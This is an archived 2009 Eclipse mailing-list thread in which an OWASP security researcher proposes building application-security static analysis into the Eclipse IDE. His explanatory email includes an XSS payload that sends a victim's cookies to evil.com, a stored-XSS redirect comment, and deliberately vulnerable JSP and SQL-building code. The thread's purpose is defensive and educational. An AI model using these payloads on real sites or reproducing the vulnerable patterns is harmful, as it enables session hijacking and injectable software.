| RE: [eclipse-pmc] Project proposal on application security |
Mike, The Technology PMC looks like a good group to start with. To be clear, I didn't want to subvert the normal integration process and shortcut an Eclipse project right into the default installation. My main concern was that it's integration path would be blocked by those who are not "sold" on the need for application security. The utility of such a project is on us to prove, but it's not worth undertaking if there isn't a top-down-thumbs-up on the commitment to security. Thanks, Arshan ________________________________ From: eclipse-pmc-bounces@xxxxxxxxxxx on behalf of Mike Milinkovich Sent: Wed 8/5/2009 10:38 AM To: eclipse-pmc@xxxxxxxxxxx Subject: RE: [eclipse-pmc] Project proposal on application security Arshan, The Eclipse community has historically and understandably been cautious about committing to put new technologies into the platform. New technologies have to demonstrate their utility, robustness and scalability before they migrate there. I think the project you are discussing is extremely exciting, and would be a great addition to Eclipse. Security is a hugely important topic, and more investment in that area at Eclipse can only be good for our community and our platform. But the best path into our community is not necessarily via the Eclipse PMC. I would suggest creating a proposal for a new incubator project, likely under the Technology PMC, and getting started. Target shipping in the first release train you are ready for and then take it from there. I hope that helps! Mike Milinkovich Executive Director, Eclipse Foundation Office: +1.613.224.9461 x228 Mobile: +1.613.220.3223 mike.milinkovich@xxxxxxxxxxx > -----Original Message----- > From: eclipse-pmc-bounces@xxxxxxxxxxx [mailto:eclipse-pmc-bounces@xxxxxxxxxxx] > On Behalf Of Arshan Dabirsiaghi > Sent: August-05-09 10:18 AM > To: eclipse-pmc@xxxxxxxxxxx > Subject: RE: [eclipse-pmc] Project proposal on application security > > I agree, sort of. J2EE applications definitely run into security problems more > often because the web and it's threats are not very well understood - but > security is not a property of just the web, or SQL. I just tried to pick a few > examples that would be palatable and showed the need for static analysis. > > My main interest is preventing obvious security problems with validators, > strong static analysis, and any number of Eclipse's other language-agnostic > IDE capabilities. Different languages would have different security rules, > since the language APIs are abusable in different ways. The AST is > generalized, right? That's just not just a "Java thing"? > > In summary, I wouldn't mind if this was a "web" project, but we could gain a > lot from having general static analysis capability. Consider a readLine() call > on a socket - or someone using MessageDigest with MD2. Those things are not > specific to the web. Our organization focuses on web stuff, but not > exclusively and only because that's where attackers are right now. > > Arshan > > ________________________________ > > From: eclipse-pmc-bounces@xxxxxxxxxxx on behalf of John Arthorne > Sent: Tue 8/4/2009 10:06 PM > To: eclipse-pmc@xxxxxxxxxxx > Subject: RE: [eclipse-pmc] Project proposal on application security > > > > Arshan, from your description I'm not sure the Eclipse project is the right > place for this. The project name is a bit misleading, but the Eclipse top- > level project is concerned with generic language-agnostic IDE infrastructure, > and with general Java SE development tools [1]. If there is a generic IDE > aspect to the kind of security tools you have in mind, they may belong in the > Eclipse top-level project, but your examples seem to be specific to web > development, and/or SQL development. Tools for web and SQL programming are > found in separate projects: Web Tools [2], and Data Tools [3]. > > John > > [1] http://eclipse.org/eclipse/ > [2] http://eclipse.org/webtools/ > [3] http://www.eclipse.org/datatools/ > > > > > "Arshan Dabirsiaghi" <arshan.dabirsiaghi@xxxxxxxxxxxxxxxxxx> > Sent by: eclipse-pmc-bounces@xxxxxxxxxxx > > 08/04/2009 06:24 PM > Please respond to > eclipse-pmc@xxxxxxxxxxx > > > To > <eclipse-pmc@xxxxxxxxxxx> > cc > wayne.beaton@xxxxxxxxxxx > Subject > RE: [eclipse-pmc] Project proposal on application security > > > > > > > Wow this turned out to be a long email! I hope it's not overwhelming. My phone > is always on, and I'm always willing to talk if there's any confusing points > here. Anyway, I hope you brought coffee. > > First, let me talk explain why Equinox and Sword4J aren't exactly what's going > to help average Joe Web Developer. > > The Equinox and Sword4J projects seem focused on J2SE code security and > trusted libraries (among other things less relevant). In all of the security > assessments I've done of web applications, these are not realistic threats for > attackers. I don't need to control your server-side code, as an attacker, to > abuse an application. It's usually quite possible to trick the developers' > custom code in order to subvert the security of the application in one > dimension or another. To show how unrealistic the problems that Sword4J and > Equinox solve are, consider that most applications don't even run with a > SecurityManager and I've yet to run into a customer who has regretted that > fact (or even understood why it might be a problem). We have a long way to go > until those are the projects that solve our biggest security concerns. > > A summary of the greatest threats to web applications specifically is created > by OWASP every couple of years [1] in the "Top 10" series. As you can see on > the page I've referenced, this "standard" for realistic threats is used by > many organizations, including government agencies, financial companies, and > organizations from just about every vertical. Unfortunately, none of the > issues cited in the OWASP Top 10 are solved by Equinox and Sword4J. I don't > want to seem like I'm discrediting their work; trusted code is important to > some formal assurance models, but we can help developers fix the > vulnerabilities that they are creating right now, every day. > > Let's take 2 of the 10 most prevalent and most easily exploitable > vulnerabilities in applications today, cross-site scripting and SQL injection, > and see how the Eclipse IDE can prevent them from ever happening. > > Cross-site scripting > My company's assessment data shows that over 90% of web applications are > vulnerable to XSS, and often quite thoroughly. There is public data that shows > the number somewhere around 70%, but that data is only generated by automated > tools, and human analysis tends to turn up many more vulnerabilities than > automated analysis. > > A developer can introduce a cross-site scripting flaw (of which there are many > variants) in a single line of code: > > Your search for "<%= request.getParameter("searchValue") %>" produced <%=num%> > results! > > It also may take another form in JSP EL: > > Your search for ${myStrutsSearchForm.searchValue} produced ${num} results! > > These are two examples of where user-supplied code is reflected directly into > an HTML response after a search. This pattern is actually all it takes to > allow attackers to perform privilege escalation, phishing, keylogger > installation and a host of other really bad things. Imagine you were logged > into the site in question, and then visited my malicious page in another > browser tab. My page then gives you this HTML: > > <iframe src="http://victimsite.com/search.do?searchValue=<script>new > Img().src='http://evil.com/'+document.cookie;</script>"> > > Seeing this HTML will cause your browser to issue a request from the victim's > browser to the victimsite's search action. When the search action is building > the view from the JSP, it will include the user-supplied parameter, which > contains JavaScript that sends the user's cookies to an evil site, evil.com. > All the attacker has to do is watch his web logs on evil.com and stick the > victim's cookies from them into his own browser in order to become the victim > user. > > It's that easy! Now let's consider another, more brutal type of cross-site > scripting, called persistent cross-site scripting. Imagine Alice runs a blog > called AlicesBlog.com. Since most blogs allow comments either registered > unregistered, Mallory posts a comment on Alice's latest post: > > Hey Alice, I love your posts!! Keep up the good > work!!<script>document.location='http://evil.com'; <http://evil.com';/> </script> > > Depending on how comments are handled, this could be very bad for Alice. Let's > assume the worst case for brevity, and Alice does not moderate comments. When > any user sees Alice's latest post, Mallory's comment will be delivered as part > of the HTML response as generated by the JSP. Because Mallory's comment will > be interpreted as code and not data, the user's browser will execute the > malicious script and redirect the user to a page exclaiming that they hacked > Alice's site. Alice then loses trust and credibility, because when a user > navigates Alice's site, all they see is Mallory's apparent "defacement". In > reality, persistent XSS is used to harvest mass amounts of accounts and > perform other malicious activity, and a defacement is frankly preferable to > the alternatives. > > How can the IDE help? Well, it can help in easy ways and hard ways. At the > very least, a simple Validator could be used to detect request parameters (or > headers) being directly reflected into the response. Simple checks could be > used to give the use an error when the following code is seen: > > <%=request.getParameter("foo")%> > > However, what about the following scenario? > > <% > String param = request.getParameter("foo"); > %> > ... > <%= param + " results!!" %> > > This example shows that in order to catch this problem generally we need to do > data flow analysis (also called "taint tracking"), which is expensive > computationally, even with all the AST functionality built into Eclipse. So, > hard way = data flow analysis, easy way = simple Validators with grep. > > SQL Injection > Consider the lifetime of the request parameter "foo" in the following set of > snippets: > > String untrusted_data = request.getParameter("foo"); > ... > updateAccount(untrusted_data); > ... > public void updateAccount(String acctName) { > String sql = "UPDATE foo SET name='" + acctName + "' WHERE id=2"; > Statement stmt = conn.creaStatement(); > stmt.executeQuery(sql); > } > > As one can see, the request parameter, an untrusted value, is eventually used > to dynamically build a SQL statement. A user could enter in a value that > altered the meaning of the SQL query in order to change all row values, alter > other tables, gather data, and even destroy tables. > > A similar data flow analysis would be required to catch this bug. > Alternatively,the Statement.executeQuery() API could be flagged as "dangerous" > like the old C gets() method, and would throw compilation errors unless > annotated appropriately. > > Since Eclipse manages can attach to runtime server processes (like Tomcat) we > also use dynamic testing capabilities to discover these issues with more > advanced but computationally less expensive techniques. For example, you could > run your application locally within Eclipse+Tomcat, use AspectJ to taint the > data at runtime, and then setup hooks at dangerous "sinks" like JspWriter > output methods and Statement.executeQuery to detect if tainted data (also > called dangerous "sources") ever make it into one of them. > > If I had unlimited authority and developer time I could imagine lots of things > to introduce into the IDE for application security. These are the questions > we'd have to answer before moving on: > > 1. What vulnerabilities do we want to prevent from occurring? > 2. How are we going to let the user know about the flaw, and how can they > override it? > > Once we know the answers to those two questions we can figure out what the > best way to implement these checks could be. Again, sorry for the novel, but > the problem of application security is one that the world needs to figure out > quickly. We're building up a massive "security debt clock" and unlike our > national debt, eventually we're going to have to pay for this one. You're in a > uniquely powerful position to prevent a large percentage of vulnerabilities > from occurring. It's easy to blame developers, but frankly they're never > properly trained and security is the first thing to be thrown away on a > regular budget. Attackers won't always have the easy options of buffer > overflows and phishing - Gartner has showed that attacks are moving to the > application layer [3] and it won't be long before the amount of incidents we > already see [4] grows at an astonishing rate. > > Thanks for listening! > > Cheers, > Arshan > > [1] http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project > [2] http://www.slideshare.net/jeremiahgrossman/whitehat-security-website- > security-statistics-report-q109 > [3] http://adtmag.com/articles/2006/06/01/application-security-comes-under- > attack.aspx > [4] http://www.xiom.com/whid-2009 > > ________________________________ > > From: eclipse-pmc-bounces@xxxxxxxxxxx on behalf of Jeff McAffer > Sent: Tue 8/4/2009 1:32 PM > To: eclipse-pmc@xxxxxxxxxxx > Cc: wayne.beaton@xxxxxxxxxxx > Subject: Re: [eclipse-pmc] Project proposal on application security > > > Arshan, > > This sounds very interesting. It sounds related at least in part to some of > the work carried out in the Equinox security incubator. > http://www.eclipse.org/equinox/incubator/security/ > There are several aspects of that work, some involving higher level notions > (e.g., JAAS etc) and others static code analysis and Java2 permissions > analysis using Sword4J > http://www.alphaworks.ibm.com/tech/sword4j > I don't know the current status of the Sword4J work but it might be a good > place to start looking. > > In any event, it would be interesting to hear more about what you are > proposing. > > Jeff > > Jeff McAffer | CTO | EclipseSource | +1 613 851 4644 > jeff@xxxxxxxxxxxxxxxxx | http://eclipsesource.com <http://eclipsesource.com/> <http://eclipsesource.com/> > > > > > On 4-Aug-09, at 10:23 AM, Arshan Dabirsiaghi wrote: > > > Eclipse PMC, > > My name is Arshan and I'd like Eclipse to enable developers to > write more secure code. I'm working with the OWASP foundation and have > elicited funds to accomplish the introduction of security into key points in > the technology stack with security analysis of application server frameworks, > vendor outreach programs, and more. I'm writing to ask you, however, about > introducing security into your IDE (which happens to be my favorite IDE). > > The IDE is a very effective place for security to go since it > will necessarily catch problems earlier in the lifecycle than would > security checks in other places. There a host of issues the > JDT can easily detect while developers are writing code, including: > > * Injection attacks (cross-site scripting, command > injection, SQL injection, XPath/XML injection, etc.) > * Information leakage > * Cryptographic weakness > * ...and many more! > > While a 3rd party plugin could technically perform these > checks, having them in the IDE would greatly legitimize security in > developers' eyes, since most view security problems as theoretical or > bothersome. And the momentum is growing; it's not just the banks that are > taking application security seriously anymore - the world is starting > recognize that applications are part of your security perimeter. In fact, we > recently spoke at JavaOne about some specific security flaws the J2EE world is > continually producing. > > Other IDEs are getting into the game as well. Visual Studio > invested in CAT.NET, a tool used to help MS developers find security problems > and IBM recently bought Ounce, a static analysis tool for finding security > flaws. I do penetration testing, code review and security research for a > living. The problems are out there in staggering numbers, and its only getting > worse. Frankly, developers will keep re-introducing problems as long as the > IDE lets them. > > I'm proposing we create an Eclipse sub-project or extend a > piece of the existing Eclipse base to allow users to enable security guidance > with customizable levels of interaction. As budget allows we are prepared to > take on the necessary expenses for implementing these features, but the > commitment to developing more secure code can only come from your > organization. > > We are very flexible on the logistical details and are mostly > eager to start a conversation around application security and Eclipse. > > Thanks for your time, > > Arshan Dabirsiaghi > Director of R&D > Aspect Security > http://www.aspectsecurity.com <http://www.aspectsecurity.com/> <http://www.aspectsecurity.com/> > O: (301) 604-4882 > C: (443) 791-5355 > > Project Lead > Intrinsic Security Working Group > Open Web Application Security Project (OWASP) > http://owasp.org <http://owasp.org/> <http://owasp.org/> > > _______________________________________________ > eclipse-pmc mailing list > eclipse-pmc@xxxxxxxxxxx > https://dev.eclipse.org/mailman/listinfo/eclipse-pmc > > > > _______________________________________________ > eclipse-pmc mailing list > eclipse-pmc@xxxxxxxxxxx > https://dev.eclipse.org/mailman/listinfo/eclipse-pmc > _______________________________________________ eclipse-pmc mailing list eclipse-pmc@xxxxxxxxxxx https://dev.eclipse.org/mailman/listinfo/eclipse-pmc
<<winmail.dat>>